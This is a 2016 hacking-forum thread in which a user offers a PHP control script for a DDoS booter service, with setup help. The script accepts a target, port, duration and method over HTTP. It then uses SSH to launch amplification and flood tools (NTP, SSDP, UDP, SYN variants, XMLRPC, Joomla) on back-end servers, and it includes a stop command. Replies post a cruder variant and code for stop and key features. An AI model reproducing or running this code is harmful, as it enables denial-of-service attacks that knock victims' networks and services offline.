Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Offering API Setup (API script has stop button)

I'm offering to setup/help setup a working api on anyones servers that wants it, or just hook you up with the commands and the php api script which includes a working stop button

I know I have neg rep... i'm trying man :(

If you want some help PM me your skype and I will hit you up

API
PHP Code

<?php
$servers 
= array(
        array(
'server ip', array('root', 'password here')),
        );
 
 
class 
ssh2
{
   var 
$connection;
 
   function 
__construct($host, $user, $pass) {
           if (!
$this->connection = ssh2_connect($host, 22))
                   echo 
"Error connecting to server";
           if (!
ssh2_auth_password($this->connection, $user, $pass))
                   echo 
"Error with login credentials";
   }
 
   function 
exec($cmd) {
           if (!
ssh2_exec($this->connection, $cmd))
                   echo 
"Error executing command: $cmd";
           
ssh2_exec($this->connection, 'exit');
           unset(
$this->connection);
           return 
true;
   }
}
 
class 
API
{
   
    private 
$get;
    public 
$message = "None";
    private 
$server;
    public 
$isL7 = false;
   
 
    public function 
__construct(array $server)
    {
        
$this->server = $server;
        
$this->get = (object) $_GET;
    }
   
    public function 
start()
    {
 
        if(
$this->validate()) {
            
$this->doBoot();
        }
        return 
$this->message;
    }
   
   
    private function 
validate()
    {
 
       
        if (!
filter_var($this->get->host, FILTER_VALIDATE_IP)) {
                if(!
filter_var($this->get->host, FILTER_VALIDATE_URL)) {
                        
$this->message = "Invalid IP/URL";
                        return 
false;            
                }
                
$this->isL7 = true;
        }
       
        if (!
intval($this->get->port) >= 1) {
            
$this->message = "Invalid Port";
            return 
false;
        }
       
        if (!
intval($this->get->time) >= 1) {
            
$this->message = "Invalid Time";
            return 
false;
        }
 
        return 
true;
 
    }
   
   
    private function 
doBoot()
    {
        
//screen assigned name
        
$smIP = escapeshellarg(str_replace(".", "", $this->get->host));
        
//$this->get->host = escapeshellarg($this->get->host);
 
        
switch(strtoupper($this->get->method)) {
                       
                        case 
'JOOMLA':
                
//Any L7 Methods need this if statement before, otherwise a L7 could attack an IP (wouldn't want that.)
                
if($this->isL7==true) {
                    
$command = "screen -dmS Test ./joomla03 {$this->get->host} j.txt {$this->get->time} 512";
                }
                
$this->message = 'JOOMLA attack sent';
                break;
                               
                        case 
'NTP':
                 
$command = "screen -dmS {$smIP} ./ntp {$this->get->host} {$this->get->port} ntp.txt 1 -1 {$this->get->time}";
                 
$this->message = 'NTP attack sent';
                break;
 
            case 
'SSDP':
                 
$command = "screen -dmS {$smIP} ./ssdp {$this->get->host} {$this->get->port} ssdp.txt 15 {$this->get->time}";
                 
$this->message = 'SSDP attack sent';
                break;
                               
                        case 
'TCP':
                 
$command = "screen -dmS {$smIP} ./tcp {$this->get->host} {$this->get->port} 80 25 -1 {$this->get->time}";
                 
$this->message = 'TCP attack sent';
                break;
 
            case 
'UDP':
                
$command = "screen -dmS {$smIP} perl ./udp.pl {$this->get->host} {$this->get->port} 65500 {$this->get->time}";
                
$this->message = 'UDP attack sent';
                break;
                               
                        case 
'XSYN':
                 
$command = "screen -dmS {$smIP} ./xsyn {$this->get->host} {$this->get->port} 1 -1 {$this->get->time}";
                 
$this->message = 'XSYN attack sent';
                break;
                               
                        case 
'SSYN':
                 
$command = "screen -dmS {$smIP} ./ssyn {$this->get->host} {$this->get->port} {$this->get->time}";
                 
$this->message = 'SSYN attack sent';
                break; 
 
            case 
'XMLRPC':
                
$command = "screen -dmS {$smIP} ./xmlrpc {$this->get->host} xmlrpc.txt {$this->get->time} 1000";
                
$this->message = 'XMLRPC attack sent';
                break;
                               
                        case 
'DOMINATE':
                 
$command = "screen -dmS {$smIP} ./dominate {$this->get->host} {$this->get->port} 20 -1 {$this->get->time}";
                 
$this->message = 'DOMINATE attack sent';
                break;
 
 
            case 
"STOP":
                
$command = "screen -X -s {$smIP} quit";
                
$this->message = "Attack Stopped";
                break;
 
            default:
                
$this->message = "Invalid Method";
                break;
        }
 
        if(!empty(
$command)) {
 
            
$ssh = new ssh2($this->server[0], $this->server[1][0], $this->server[1][1]);
 
            if(!
$ssh->exec($command)) {
                
$this->message = 'Error executing attack on server.';
            }
 
        }
 
        return 
$this->message;
    }  
}
 
 
//Check SSH2 Function
if (!function_exists('ssh2_connect'))
{
    die(
"Install the php ssh2 module.\n");
}
 
$attack = new API(array($servers[0][0], $servers[0][1]));
$attack->start();
echo 
$attack->message;
 
//Nothing is outputting in shell? nope
 //usage: api.php?host=HOST&port=PORT&time=TIME&method=METHOD 
PHP Code

<?php

$target 
= $_GET['target'];
$port = $_GET['port'];
$time = $_GET['time'];
$method = $_GET['method'];

// ADD FILTER SHIT IT FOR GET INPUTS

switch ($method) {

//Methods
case UDP:
shell_exec('./ddos $ip $port $time');
echo 
"Attack was sent with success!";
break;

// Empty Response
default:
echo 
"Please enter a valid method";
break;

} 
(Jul 8, 2016 09:23 AM)Surday Wrote:  
PHP Code

<?php

$target 
= $_GET['target'];
$port = $_GET['port'];
$time = $_GET['time'];
$method = $_GET['method'];

// ADD FILTER SHIT IT FOR GET INPUTS

switch ($method) {

//Methods
case UDP:
shell_exec('./ddos $ip $port $time');
echo 
"Attack was sent with success!";
break;

// Empty Response
default:
echo 
"Please enter a valid method";
break;

} 

Thats not a good api script at all it doesn't have a key? or a stop button? not even sending the attack via screen!
(Jul 8, 2016 09:23 AM)AYDN Wrote:  Thats not a good api script at all it doesn't have a key? or a stop button? not even sending the attack via screen!

Not hard at all to implement this at all.

PHP Code

<?php 
$proc   
= hash('crc32', $target);

case 
STOP:
shell_exec('pkill -f $proc');
echo 
"Attack has been stopped";
break; 

Adding a key is even simplier.

PHP Code

<?php 
shell_exec
('screen -dmS $proc ./ddos $ip $port $time');
echo 
"Attack was sent with success!";
break; 
(Jul 8, 2016 09:27 AM)Surday Wrote:  Not hard at all to implement this at all.

PHP Code

<?php 
$proc   
= hash('crc32', $target);

case 
STOP:
shell_exec('pkill -f $proc');
echo 
"Attack has been stopped";
break; 

Adding a key is even simplier.

Dude this is for new users not users that know there shit like you and me, trying to help the people that don't know how to do that!
please load your wget payload on my server
(Jul 8, 2016 10:10 AM)Drunkatwork Wrote:  please load your wget payload on my server

lol i'm not touching your server, i'm giving you the raw scripts and commands lol fucking idiots on hf lol


Possibly Related Threads...
Thread / Author Replies Views Last Post
by stapelFeb 19, 2018 10:05 PM 3 148 Feb 19, 2018 10:05 PM
Last Post: AnonTri
by DrunkatworkApr 17, 2016 05:56 AM 17 554 Apr 17, 2016 05:56 AM
Last Post: Surday
by freeNwildFeb 11, 2016 09:46 AM 18 494 Feb 11, 2016 09:46 AM
Last Post: freeNwild